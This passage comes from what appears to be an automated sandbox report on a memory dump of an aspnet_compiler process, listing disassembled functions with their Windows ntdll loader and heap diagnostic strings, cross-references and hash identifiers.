                  • read from, xrefs: 01408F5D, 01408F62
                  • This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 01408F2D
                  • *** Critical Section Timeout (%p) in %ws:%s, xrefs: 01408E4B
                  • *** Resource timeout (%p) in %ws:%s, xrefs: 01408E02
                  • *** then kb to get the faulting stack, xrefs: 01408FCC
                  • The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 01408DD3
                  • The critical section is owned by thread %p., xrefs: 01408E69
                  • This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 01408DB5
                  • *** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 01408FEF
                  • The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 01408E3F
                  • The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 01408E86
                  • *** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 01408D8C
                  • Go determine why that thread has not released the critical section., xrefs: 01408E75
                  • *** Inpage error in %ws:%s, xrefs: 01408EC8
                  • This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 01408F34
                  • *** enter .exr %p for the exception record, xrefs: 01408FA1
                  • The resource is owned shared by %d threads, xrefs: 01408E2E
                  • The instruction at %p referenced memory at %p., xrefs: 01408EE2
                  • *** enter .cxr %p for the context, xrefs: 01408FBD
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
                  • API String ID: 0-108210295
                  • Opcode ID: 226ee6daef51107e6e539a24a409a360039d6476f7b76f67c9dcf23e38f2a396
                  • Instruction ID: d44a72116dd4f70c999d1339fcbf2c4dd963c22bf16fe8675b1a0da6cb4ae84d
                  • Opcode Fuzzy Hash: 226ee6daef51107e6e539a24a409a360039d6476f7b76f67c9dcf23e38f2a396
                  • Instruction Fuzzy Hash: 5981197EA40211BFDB129A2ADD85D6B3F75EF56B1CF040069F2095F3A2E3719812C661
                  Function 013D2349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
                  • API String ID: 0-2160512332
                  • Opcode ID: 641094d46b3d64ab10d152c92175cc28738deb9a82257e19cdd7fb5216ea730e
                  • Instruction ID: 9f8a06dafa9fd72c9029bb406c92d4922da0fbfc1cd18303bc8a6032cb12efbc
                  • Opcode Fuzzy Hash: 641094d46b3d64ab10d152c92175cc28738deb9a82257e19cdd7fb5216ea730e
                  • Instruction Fuzzy Hash: 2B928F72604342AFE721DF28D840B6BBBE8BF84758F04492DFA95D7251D770E844CB92
                  Function 01388620 Relevance: 17.7, Strings: 14, Instructions: 223COMMON
                  Download Yara Rule
                  Strings
                  • Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 013C54CE
                  • Thread identifier, xrefs: 013C553A
                  • Thread is in a state in which it cannot own a critical section, xrefs: 013C5543
                  • 8, xrefs: 013C52E3
                  • undeleted critical section in freed memory, xrefs: 013C542B
                  • Critical section debug info address, xrefs: 013C541F, 013C552E
                  • First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 013C54E2
                  • double initialized or corrupted critical section, xrefs: 013C5508
                  • corrupted critical section, xrefs: 013C54C2
                  • Address of the debug info found in the active list., xrefs: 013C54AE, 013C54FA
                  • Critical section address., xrefs: 013C5502
                  • Invalid debug info address of this critical section, xrefs: 013C54B6
                  • Critical section address, xrefs: 013C5425, 013C54BC, 013C5534
                  • Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 013C540A, 013C5496, 013C5519
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
                  • API String ID: 0-2368682639
                  • Opcode ID: c985f39605ffcc54ec943bd5dd69ef5f6eac0b0215641a4a8ca9e08daa66afa3
                  • Instruction ID: 6d8a907ff6724fe912dc5536d2f1aa7374ff53dacd1cecd25207c91fee0eea06
                  • Opcode Fuzzy Hash: c985f39605ffcc54ec943bd5dd69ef5f6eac0b0215641a4a8ca9e08daa66afa3
                  • Instruction Fuzzy Hash: 98819AB1A00358EFDB20CF99C841BAEBBB9BB48B28F10425DF505B7750D371A940CB54
                  Function 013829F9 Relevance: 14.2, Strings: 11, Instructions: 411COMMON
                  Download Yara Rule
                  Strings
                  • SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 013C2506
                  • SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 013C2409
                  • SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 013C2602
                  • SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 013C2498
                  • @, xrefs: 013C259B
                  • SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 013C24C0
                  • SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 013C2624
                  • RtlpResolveAssemblyStorageMapEntry, xrefs: 013C261F
                  • SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 013C22E4
                  • SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 013C2412
                  • SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 013C25EB
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
                  • API String ID: 0-4009184096
                  • Opcode ID: 38e3cc52612eb4ab68daf509759eac5c686293cf32eab3d21f92d199387494e1
                  • Instruction ID: 5505e4b41e1a6d3ecdcbc685ade527b20d0543048b31dd270731a8254a0188c3
                  • Opcode Fuzzy Hash: 38e3cc52612eb4ab68daf509759eac5c686293cf32eab3d21f92d199387494e1
                  • Instruction Fuzzy Hash: FE0250F5D002299FDF21DB58CC80BEAB7B8AF54718F0441DAE649A7241DB70AE84CF59
                  Function 013F8B42 Relevance: 12.6, Strings: 10, Instructions: 146COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimebroker.exe$services.exe$smss.exe$svchost.exe
                  • API String ID: 0-2515994595
                  • Opcode ID: 3bff28b8c2824d8bbd8ae8f90057966d3241bba182d376649013bd0c5ef34249
                  • Instruction ID: 3c10f28f7ed8a5b643bb6a77e9d75035299f32a7f7c63a8071f83fcf41a79f72
                  • Opcode Fuzzy Hash: 3bff28b8c2824d8bbd8ae8f90057966d3241bba182d376649013bd0c5ef34249
                  • Instruction Fuzzy Hash: 5351DE716053169BD729DF198844BABBBECFF94748F14496DFA98C3280E770D608CB92
                  Function 0136AD00 Relevance: 11.8, Strings: 9, Instructions: 509COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: DLL name: %wZ$DLL search path passed in externally: %ws$LdrGetDllHandleEx$LdrpFindLoadedDllInternal$LdrpInitializeDllPath$Status: 0x%08lx$minkernel\ntdll\ldrapi.c$minkernel\ntdll\ldrfind.c$minkernel\ntdll\ldrutil.c
                  • API String ID: 0-3197712848
                  • Opcode ID: f1a0c259f8f2ffcc049668d4b98c82a71223e46b825c548d76138f59df07120d
                  • Instruction ID: 65ef1b1231d2ab0a89ac45e8161f89cd3b47e35a155ca948dc693ae928385d56
                  • Opcode Fuzzy Hash: f1a0c259f8f2ffcc049668d4b98c82a71223e46b825c548d76138f59df07120d
                  • Instruction Fuzzy Hash: 0412F3716093459FD325DF18C880BAABBE8FF8470CF04855DFA899B299E734D944CB52
                  Function 01400274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                  • API String ID: 0-1700792311
                  • Opcode ID: 5091eb0ec06ad2ecacb429eeb0ed7413793b2371357c70d535db404a9a4c1bc9
                  • Instruction ID: 2067a15501694986da4ef37cb5b0e59d64f8d32cd01d551e1cf33ae9acd17474
                  • Opcode Fuzzy Hash: 5091eb0ec06ad2ecacb429eeb0ed7413793b2371357c70d535db404a9a4c1bc9
                  • Instruction Fuzzy Hash: 88D1C135500685EFDB22DFAAC440BAABBF1FF5A754F08806AF4459B3A2C735E941CB14
                  Function 013D89B3 Relevance: 10.3, Strings: 8, Instructions: 259COMMON
                  Download Yara Rule
                  Strings
                  • VerifierDlls, xrefs: 013D8CBD
                  • HandleTraces, xrefs: 013D8C8F
                  • VerifierDebug, xrefs: 013D8CA5
                  • VerifierFlags, xrefs: 013D8C50
                  • AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 013D8A3D
                  • AVRF: -*- final list of providers -*- , xrefs: 013D8B8F
                  • AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 013D8A67
                  • @-, xrefs: 013D8A35, 013D8A5F
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: @-$AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags
                  • API String ID: 0-1293827586
                  • Opcode ID: d8d54c8b7c5a63e1a73b4fbb6f57acf030b5264f32ee0357115d95752acc68c6
                  • Instruction ID: 80968dfd0f8d8dc1c4d7e0f2bd5d278536ac784ee4d87bf0d59e1dce759e4303
                  • Opcode Fuzzy Hash: d8d54c8b7c5a63e1a73b4fbb6f57acf030b5264f32ee0357115d95752acc68c6
                  • Instruction Fuzzy Hash: E89125B3641716EFEB21EF6CE880B5AB7A8BB5561CF050499FA416F290C730BC01CB95
                  Function 0135ADE0 Relevance: 9.3, Strings: 7, Instructions: 573COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: #$H$J$LdrpResSearchResourceMappedFile Enter$LdrpResSearchResourceMappedFile Exit$MUI$MZER
                  • API String ID: 0-664215390
                  • Opcode ID: 17fa6e6a0b65feb99426f6b10ddafb8d3d16e002bdf542de057173e49f1b54c0
                  • Instruction ID: e47f3ef74ad80d24b3904eb547066210ce738992145592f8aa57ee5d1e24d94a
                  • Opcode Fuzzy Hash: 17fa6e6a0b65feb99426f6b10ddafb8d3d16e002bdf542de057173e49f1b54c0
                  • Instruction Fuzzy Hash: A832AF709002698BDBA2CB18CC94BEEBBBABF44748F1041EAD949A7255D7319F818F50
                  Function 013863FF Relevance: 9.0, Strings: 7, Instructions: 261COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: @-$Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
                  • API String ID: 0-2183794263
                  • Opcode ID: c7d48e67806fb394b69f6dd5fa9df7cb889ceed6a6cc9da5896fce5b37f3c3fd
                  • Instruction ID: cd89486a2d6481b4a6661878d16fb15e085e18b44ba02104b0759f0e7fc706a4
                  • Opcode Fuzzy Hash: c7d48e67806fb394b69f6dd5fa9df7cb889ceed6a6cc9da5896fce5b37f3c3fd
                  • Instruction Fuzzy Hash: 959102B5B003199BEB25EF5CE856BAE7BA6BF41F2CF10412DE9407B691DB709801C790
                  Function 0134645D Relevance: 8.9, Strings: 7, Instructions: 150COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: @-$Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
                  • API String ID: 0-4023617882
                  • Opcode ID: d2adf9bfffd769511975ee98e947cd15c52f6173b30e3d182be709f5bf97b45e
                  • Instruction ID: 1394810b7717e3b9d5204b86707a48afb4a79cff53141ca28abb74760bc211ad
                  • Opcode Fuzzy Hash: d2adf9bfffd769511975ee98e947cd15c52f6173b30e3d182be709f5bf97b45e
                  • Instruction Fuzzy Hash: 54519275208305DFE725DF28D851B6B7BE8FF85A4CF40491EF595AB260DA30E904CB92
                  Function 013D4DD7 Relevance: 8.8, Strings: 7, Instructions: 86COMMON
                  Download Yara Rule
                  Strings
                  • LdrpProtectedCopyMemory, xrefs: 013D4DF4
                  • Function %s raised exception 0x%08lxException record: .exr %pContext record: .cxr %p, xrefs: 013D4DF5
                  • LdrpGenericExceptionFilter, xrefs: 013D4DFC
                  • minkernel\ntdll\ldrutil.c, xrefs: 013D4E06
                  • ***Exception thrown within loader***, xrefs: 013D4E27
                  • Execute '.cxr %p' to dump context, xrefs: 013D4EB1
                  • Break repeatedly, break Once, Ignore, terminate Process or terminate Thread (boipt)? , xrefs: 013D4E38
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: ***Exception thrown within loader***$Break repeatedly, break Once, Ignore, terminate Process or terminate Thread (boipt)? $Execute '.cxr %p' to dump context$Function %s raised exception 0x%08lxException record: .exr %pContext record: .cxr %p$LdrpGenericExceptionFilter$LdrpProtectedCopyMemory$minkernel\ntdll\ldrutil.c
                  • API String ID: 0-2973941816
                  • Opcode ID: c4a8661317f7a8896d405b41bedee768c6296eb942f2c705b81e17164d66fb11
                  • Instruction ID: 95de9973c37065d4336ae19d1d67912cc436d846a23f6bd38335d523b627c1c2
                  • Opcode Fuzzy Hash: c4a8661317f7a8896d405b41bedee768c6296eb942f2c705b81e17164d66fb11
                  • Instruction Fuzzy Hash: B2215B77148115BBF7289A6CAC86D267B9CFB81D6CF144105F11596E90C570DE01C365
                  Function 0135EA80 Relevance: 8.6, Strings: 6, Instructions: 1073COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: $LdrpResSearchResourceInsideDirectory Enter$LdrpResSearchResourceInsideDirectory Exit$R$T${
                  • API String ID: 0-1109411897
                  • Opcode ID: 3cd6b1c57364d04dcd66e1b39506a450edcf2cc6c3ff91162c3eb75ab0215627
                  • Instruction ID: 6c36fa4d0a6db098ee3934c3d307f4e4a19d7d35a84a7bbff9a3c1626d3a57fd
                  • Opcode Fuzzy Hash: 3cd6b1c57364d04dcd66e1b39506a450edcf2cc6c3ff91162c3eb75ab0215627
                  • Instruction Fuzzy Hash: ABA26E74A056298FDF64CF18CC88BADBBB5AF45708F1442E9D90EA7651EB349E84CF04
                  Function 01382674 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                  Download Yara Rule
                  Strings
                  • SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 013C2178
                  • SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 013C219F
                  • RtlGetAssemblyStorageRoot, xrefs: 013C2160, 013C219A, 013C21BA
                  • SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 013C2180
                  • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 013C21BF
                  • SXS: %s() passed the empty activation context, xrefs: 013C2165
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
                  • API String ID: 0-861424205
                  • Opcode ID: 015ab748e143ec37dd5c7bae2df9d1a50e604808a79d531dbed2a75c2564579a
                  • Instruction ID: 99aeda9a1f48cdb363cfab771eaa7ffd500a179fa1bc5ec67eda0aaed47a8908
                  • Opcode Fuzzy Hash: 015ab748e143ec37dd5c7bae2df9d1a50e604808a79d531dbed2a75c2564579a
                  • Instruction Fuzzy Hash: 673135BAB403157BF721AB9A8C85F5B7B78DBE5E5CF05005DFA05AB201D2709E01C3A0
                  Function 0138C6A6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                  Download Yara Rule
                  Strings
                  • Loading import redirection DLL: '%wZ', xrefs: 013C8170
                  • minkernel\ntdll\ldrinit.c, xrefs: 0138C6C3
                  • LdrpInitializeImportRedirection, xrefs: 013C8177, 013C81EB
                  • minkernel\ntdll\ldrredirect.c, xrefs: 013C8181, 013C81F5
                  • Unable to build import redirection Table, Status = 0x%x, xrefs: 013C81E5
                  • LdrpInitializeProcess, xrefs: 0138C6C4
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
                  • API String ID: 0-475462383
                  • Opcode ID: 08a920239385dd735428087a7799ccf03fa0b4f39557e84e471692cc629317ac
                  • Instruction ID: 5fa320fcd91762404b7e0ebc6af3ed360137fa0a194757d5389c1a12e60a7c30
                  • Opcode Fuzzy Hash: 08a920239385dd735428087a7799ccf03fa0b4f39557e84e471692cc629317ac
                  • Instruction Fuzzy Hash: 6D3102726443469FD220EF2DD946E1A7BE4EF94F2CF04456CF9806B391E620ED04C7A2
                  Function 0139096E Relevance: 6.6, APIs: 4, Instructions: 606COMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 01392DF0: LdrInitializeThunk.NTDLL ref: 01392DFA
                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01390BA3
                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01390BB6
                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01390D60
                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01390D74
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$InitializeThunk
                  • String ID:
                  • API String ID: 1404860816-0
                  • Opcode ID: 99ef0191f0555aa21ced98d9193978f10dee65e5b6eef578b011fe6c40e8c2a4
                  • Instruction ID: 24879c7d13ae18b3f7dc5b19969d45d64e548a36e2b2c6918f0dae5dc27e6e69
                  • Opcode Fuzzy Hash: 99ef0191f0555aa21ced98d9193978f10dee65e5b6eef578b011fe6c40e8c2a4
                  • Instruction Fuzzy Hash: 17425B75900715DFDF25CF28C880BAAB7F9BF04318F1445A9E999EB241E770AA84CF61
                  Function 0138C720 Relevance: 6.4, Strings: 5, Instructions: 141COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c$+$+
                  • API String ID: 0-1579228873
                  • Opcode ID: ebe38e75fa95b689810eeb188a5bc30692dd6f75a0bad589fdcccdacd146db06
                  • Instruction ID: 989d2b0389effe88aaf2ee1928e81658f34283d10105b686a73f9e79872c92ce
                  • Opcode Fuzzy Hash: ebe38e75fa95b689810eeb188a5bc30692dd6f75a0bad589fdcccdacd146db06
                  • Instruction Fuzzy Hash: DD41DFB6540315AFDB31FB68D844B9B7BE8FF48A58F01492AF948D7264E770D800CBA1
                  Function 01384D1D Relevance: 6.4, Strings: 5, Instructions: 117COMMON
                  Download Yara Rule
                  Strings
                  • Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 013C362F
                  • @-, xrefs: 01384D3D
                  • minkernel\ntdll\ldrsnap.c, xrefs: 013C3640, 013C366C
                  • Querying the active activation context failed with status 0x%08lx, xrefs: 013C365C
                  • LdrpFindDllActivationContext, xrefs: 013C3636, 013C3662
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: @-$LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
                  • API String ID: 0-3846093276
                  • Opcode ID: 1f642bbb22e4919541419b78ce61f4ce36c87308113d606791da2c925b3a8325
                  • Instruction ID: 0ef5d47beb2e810d5a344138ba9dab74a3182138c328d7b8abec2764bd4679bc
                  • Opcode Fuzzy Hash: 1f642bbb22e4919541419b78ce61f4ce36c87308113d606791da2c925b3a8325
                  • Instruction Fuzzy Hash: B431CA329007579FEF32FF0CC889B657AA4BB01A5CF068129D90457E63D7A09D8887D5
                  Function 0135A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
                  • API String ID: 0-379654539
                  • Opcode ID: c87b9f6f8d82b9c8c4c999042f70d6c9c4520cacc1bf0133df415cd4f17a5610
                  • Instruction ID: 00f86c61a354c81ba5861caea33194da93359da4034763db44385f176e579eee
                  • Opcode Fuzzy Hash: c87b9f6f8d82b9c8c4c999042f70d6c9c4520cacc1bf0133df415cd4f17a5610
                  • Instruction Fuzzy Hash: BEC18AB4108386CFD751CF58C040BAABBE8BF88B0CF044A6AF9959B750E734D949DB56
                  Function 01388402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON
                  Download Yara Rule
                  Strings
                  • minkernel\ntdll\ldrinit.c, xrefs: 01388421
                  • @, xrefs: 01388591
                  • \Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 0138855E
                  • LdrpInitializeProcess, xrefs: 01388422
                  Memory Dump Source
